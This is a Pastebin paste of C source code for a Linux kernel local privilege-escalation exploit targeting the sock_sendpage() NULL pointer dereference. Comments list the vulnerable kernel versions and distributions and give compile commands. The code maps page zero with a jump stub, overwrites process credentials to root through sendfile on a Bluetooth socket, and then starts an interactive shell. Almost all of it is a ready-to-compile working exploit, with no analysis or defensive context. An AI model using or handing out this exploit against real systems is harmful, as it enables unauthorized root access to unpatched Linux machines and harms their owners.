unknowns-mm

2.6.18.c

Sep 30th, 2016
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.52 KB | None | 0 0
  1. /*
  2. * Linux sock_sendpage() NULL pointer dereference
  3. * Copyright 2009 Ramon de Carvalho Valle <ramon@risesecurity.org>
  4. *
  5. * This program is free software; you can redistribute it and/or modify
  6. * it under the terms of the GNU General Public License as published by
  7. * the Free Software Foundation; either version 2 of the License, or
  8. * (at your option) any later version.
  9. *
  10. * This program is distributed in the hope that it will be useful,
  11. * but WITHOUT ANY WARRANTY; without even the implied warranty of
  12. * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  13. * GNU General Public License for more details.
  14. *
  15. * You should have received a copy of the GNU General Public License
  16. * along with this program; if not, write to the Free Software
  17. * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  18. *
  19. */
  20.  
  21. /*
  22. * This exploit was written to illustrate the exploitability of this
  23. * vulnerability[1], discovered by Tavis Ormandy and Julien Tinnes, on ppc
  24. * and ppc64.
  25. *
  26. * This exploit makes use of the SELinux and the mmap_min_addr problem to
  27. * exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3.
  28. * The problem, first noticed by Brad Spengler, was described by Red Hat in
  29. * Red Hat Knowledgebase article: Security-Enhanced Linux (SELinux) policy and
  30. * the mmap_min_addr protection[2].
  31. *
  32. * Support for i386 and x86_64 was added for completeness. For a more complete
  33. * implementation, refer to Brad Spengler's exploit[3], which also implements
  34. * the personality trick[4] published by Tavis Ormandy and Julien Tinnes.
  35. *
  36. * Linux kernel versions from 2.4.4 to 2.4.37.4, and from 2.6.0 to 2.6.30.4
  37. * are vulnerable.
  38. *
  39. * This exploit was tested on:
  40. *
  41. * CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable
  42. * CentOS 5.3 (2.6.18-128.4.1.el5)
  43. * CentOS 5.3 (2.6.18-128.2.1.el5)
  44. * CentOS 5.3 (2.6.18-128.1.16.el5)
  45. * CentOS 5.3 (2.6.18-128.1.14.el5)
  46. * CentOS 5.3 (2.6.18-128.1.10.el5)
  47. * CentOS 5.3 (2.6.18-128.1.6.el5)
  48. * CentOS 5.3 (2.6.18-128.1.1.el5)
  49. * CentOS 5.3 (2.6.18-128.el5)
  50. * CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable
  51. * CentOS 4.8 (2.6.9-89.0.7.EL)
  52. * CentOS 4.8 (2.6.9-89.0.3.EL)
  53. * CentOS 4.8 (2.6.9-89.EL)
  54. * Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable
  55. * Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5)
  56. * Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5)
  57. * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5)
  58. * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.14.el5)
  59. * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5)
  60. * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5)
  61. * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5)
  62. * Red Hat Enterprise Linux 5.3 (2.6.18-128.el5)
  63. * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable
  64. * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL)
  65. * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL)
  66. * Red Hat Enterprise Linux 4.8 (2.6.9-89.EL)
  67. * SUSE Linux Enterprise Server 11 (2.6.27.19-5)
  68. * SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21)
  69. * Ubuntu 8.10 (2.6.27-14) is not vulnerable
  70. * Ubuntu 8.10 (2.6.27-11)
  71. * Ubuntu 8.10 (2.6.27-9)
  72. * Ubuntu 8.10 (2.6.27-7)
  73. *
  74. * For i386 and ppc, compile with the following command:
  75. * gcc -Wall -o linux-sendpage linux-sendpage.c
  76. *
  77. * And for x86_64 and ppc64:
  78. * gcc -Wall -m64 -o linux-sendpage linux-sendpage.c
  79. *
  80. * [1] http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html
  81. * [2] http://kbase.redhat.com/faq/docs/DOC-18042
  82. * [3] http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz
  83. * [4] http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html
  84. */
  85.  
  86. #include <stdio.h>
  87. #include <stdlib.h>
  88. #include <string.h>
  89. #include <sys/mman.h>
  90. #include <sys/sendfile.h>
  91. #include <sys/types.h>
  92. #include <sys/socket.h>
  93. #include <unistd.h>
  94.  
  95. #if !defined(__always_inline)
  96. #define __always_inline inline __attribute__((always_inline))
  97. #endif
  98.  
  99. #if defined(__i386__) || defined(__x86_64__)
  100. #if defined(__LP64__)
  101. static __always_inline unsigned long
  102. current_stack_pointer(void)
  103. {
  104. unsigned long sp;
  105.  
  106. asm volatile ("movq %%rsp,%0; " : "=r" (sp));
  107.  
  108. return sp;
  109. }
  110.  
  111. #else
  112. static __always_inline unsigned long
  113. current_stack_pointer(void)
  114. {
  115. unsigned long sp;
  116.  
  117. asm volatile ("movl %%esp,%0" : "=r" (sp));
  118.  
  119. return sp;
  120. }
  121.  
  122. #endif
  123.  
  124. #elif defined(__powerpc__) || defined(__powerpc64__)
  125. static __always_inline unsigned long
  126. current_stack_pointer(void)
  127. {
  128. unsigned long sp;
  129.  
  130. asm volatile ("mr %0,%%r1; " : "=r" (sp));
  131.  
  132. return sp;
  133. }
  134.  
  135. #endif
  136.  
  137. #if defined(__i386__) || defined(__x86_64__)
  138. #if defined(__LP64__)
  139. static __always_inline unsigned long
  140. current_task_struct(void)
  141. {
  142. unsigned long task_struct;
  143.  
  144. asm volatile ("movq %%gs:(0),%0; " : "=r" (task_struct));
  145.  
  146. return task_struct;
  147. }
  148.  
  149. #else
  150. #define TASK_RUNNING 0
  151.  
  152. static __always_inline unsigned long
  153. current_task_struct(void)
  154. {
  155. unsigned long task_struct, thread_info;
  156.  
  157. thread_info = current_stack_pointer() & ~(4096 - 1);
  158.  
  159. if (*(unsigned long *)thread_info >= 0xc0000000) {
  160. task_struct = *(unsigned long *)thread_info;
  161.  
  162. /*
  163. * The TASK_RUNNING is the only possible state for a process executing
  164. * in user-space.
  165. */
  166. if (*(unsigned long *)task_struct == TASK_RUNNING)
  167. return task_struct;
  168. }
  169.  
  170. /*
  171. * Prior to the 2.6 kernel series, the task_struct was stored at the end
  172. * of the kernel stack.
  173. */
  174. task_struct = current_stack_pointer() & ~(8192 - 1);
  175.  
  176. if (*(unsigned long *)task_struct == TASK_RUNNING)
  177. return task_struct;
  178.  
  179. thread_info = task_struct;
  180.  
  181. task_struct = *(unsigned long *)thread_info;
  182.  
  183. if (*(unsigned long *)task_struct == TASK_RUNNING)
  184. return task_struct;
  185.  
  186. return -1;
  187. }
  188.  
  189. #endif
  190.  
  191. #elif defined(__powerpc__) || defined(__powerpc64__)
  192. #define TASK_RUNNING 0
  193.  
  194. static __always_inline unsigned long
  195. current_task_struct(void)
  196. {
  197. unsigned long task_struct, thread_info;
  198.  
  199. #if defined(__LP64__)
  200. task_struct = current_stack_pointer() & ~(16384 - 1);
  201.  
  202. #else
  203. task_struct = current_stack_pointer() & ~(8192 - 1);
  204.  
  205. #endif
  206.  
  207. if (*(unsigned long *)task_struct == TASK_RUNNING)
  208. return task_struct;
  209.  
  210. thread_info = task_struct;
  211.  
  212. task_struct = *(unsigned long *)thread_info;
  213.  
  214. if (*(unsigned long *)task_struct == TASK_RUNNING)
  215. return task_struct;
  216.  
  217. return -1;
  218. }
  219.  
  220. #endif
  221.  
  222. #if defined(__i386__) || defined(__x86_64__)
  223. static unsigned long uid, gid;
  224.  
  225. static int
  226. change_cred(void)
  227. {
  228. unsigned int *task_struct;
  229.  
  230. task_struct = (unsigned int *)current_task_struct();
  231.  
  232. while (task_struct) {
  233. if (task_struct[0] == uid && task_struct[1] == uid &&
  234. task_struct[2] == uid && task_struct[3] == uid &&
  235. task_struct[4] == gid && task_struct[5] == gid &&
  236. task_struct[6] == gid && task_struct[7] == gid) {
  237. task_struct[0] = task_struct[1] =
  238. task_struct[2] = task_struct[3] =
  239. task_struct[4] = task_struct[5] =
  240. task_struct[6] = task_struct[7] = 0;
  241. break;
  242. }
  243.  
  244. task_struct++;
  245. }
  246.  
  247. return -1;
  248. }
  249.  
  250. #elif defined(__powerpc__) || defined(__powerpc64__)
  251. static int
  252. change_cred(void)
  253. {
  254. unsigned int *task_struct;
  255.  
  256. task_struct = (unsigned int *)current_task_struct();
  257.  
  258. while (task_struct) {
  259. if (!task_struct[0]) {
  260. task_struct++;
  261. continue;
  262. }
  263.  
  264. if (task_struct[0] == task_struct[1] &&
  265. task_struct[0] == task_struct[2] &&
  266. task_struct[0] == task_struct[3] &&
  267. task_struct[4] == task_struct[5] &&
  268. task_struct[4] == task_struct[6] &&
  269. task_struct[4] == task_struct[7]) {
  270. task_struct[0] = task_struct[1] =
  271. task_struct[2] = task_struct[3] =
  272. task_struct[4] = task_struct[5] =
  273. task_struct[6] = task_struct[7] = 0;
  274. break;
  275. }
  276.  
  277. task_struct++;
  278. }
  279.  
  280. return -1;
  281. }
  282.  
  283. #endif
  284.  
  285. #define PAGE_SIZE getpagesize()
  286.  
  287. int
  288. main(void)
  289. {
  290. char *addr;
  291. int out_fd, in_fd;
  292. char template[] = "/tmp/tmp.XXXXXX";
  293.  
  294. #if defined(__i386__) || defined(__x86_64__)
  295. uid = getuid(), gid = getgid();
  296.  
  297. #endif
  298.  
  299. if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|
  300. MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
  301. perror("mmap");
  302. exit(EXIT_FAILURE);
  303. }
  304.  
  305. #if defined(__i386__) || defined(__x86_64__)
  306. #if defined(__LP64__)
  307. addr[0] = '\xff';
  308. addr[1] = '\x24';
  309. addr[2] = '\x25';
  310. *(unsigned long *)&addr[3] = 8;
  311. *(unsigned long *)&addr[8] = (unsigned long)change_cred;
  312.  
  313. #else
  314. addr[0] = '\xff';
  315. addr[1] = '\x25';
  316. *(unsigned long *)&addr[2] = 8;
  317. *(unsigned long *)&addr[8] = (unsigned long)change_cred;
  318.  
  319. #endif
  320.  
  321. #elif defined(__powerpc__) || defined(__powerpc64__)
  322. #if defined(__LP64__)
  323. /*
  324. * The use of function descriptors by the Power 64-bit ELF ABI requires
  325. * the use of a fake function descriptor.
  326. */
  327. *(unsigned long *)&addr[0] = *(unsigned long *)change_cred;
  328.  
  329. #else
  330. addr[0] = '\x3f';
  331. addr[1] = '\xe0';
  332. *(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;
  333. addr[4] = '\x63';
  334. addr[5] = '\xff';
  335. *(unsigned short *)&addr[6] = (unsigned short)change_cred;
  336. addr[8] = '\x7f';
  337. addr[9] = '\xe9';
  338. addr[10] = '\x03';
  339. addr[11] = '\xa6';
  340. addr[12] = '\x4e';
  341. addr[13] = '\x80';
  342. addr[14] = '\x04';
  343. addr[15] = '\x20';
  344.  
  345. #endif
  346.  
  347. #endif
  348.  
  349. if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {
  350. perror("socket");
  351. exit(EXIT_FAILURE);
  352. }
  353.  
  354. if ((in_fd = mkstemp(template)) == -1) {
  355. perror("mkstemp");
  356. exit(EXIT_FAILURE);
  357. }
  358.  
  359. if(unlink(template) == -1) {
  360. perror("unlink");
  361. exit(EXIT_FAILURE);
  362. }
  363.  
  364. if (ftruncate(in_fd, PAGE_SIZE) == -1) {
  365. perror("ftruncate");
  366. exit(EXIT_FAILURE);
  367. }
  368.  
  369. sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
  370.  
  371. execl("/bin/sh", "sh", "-i", NULL);
  372.  
  373. exit(EXIT_SUCCESS);
  374. }
Add Comment
Please, Sign In to add comment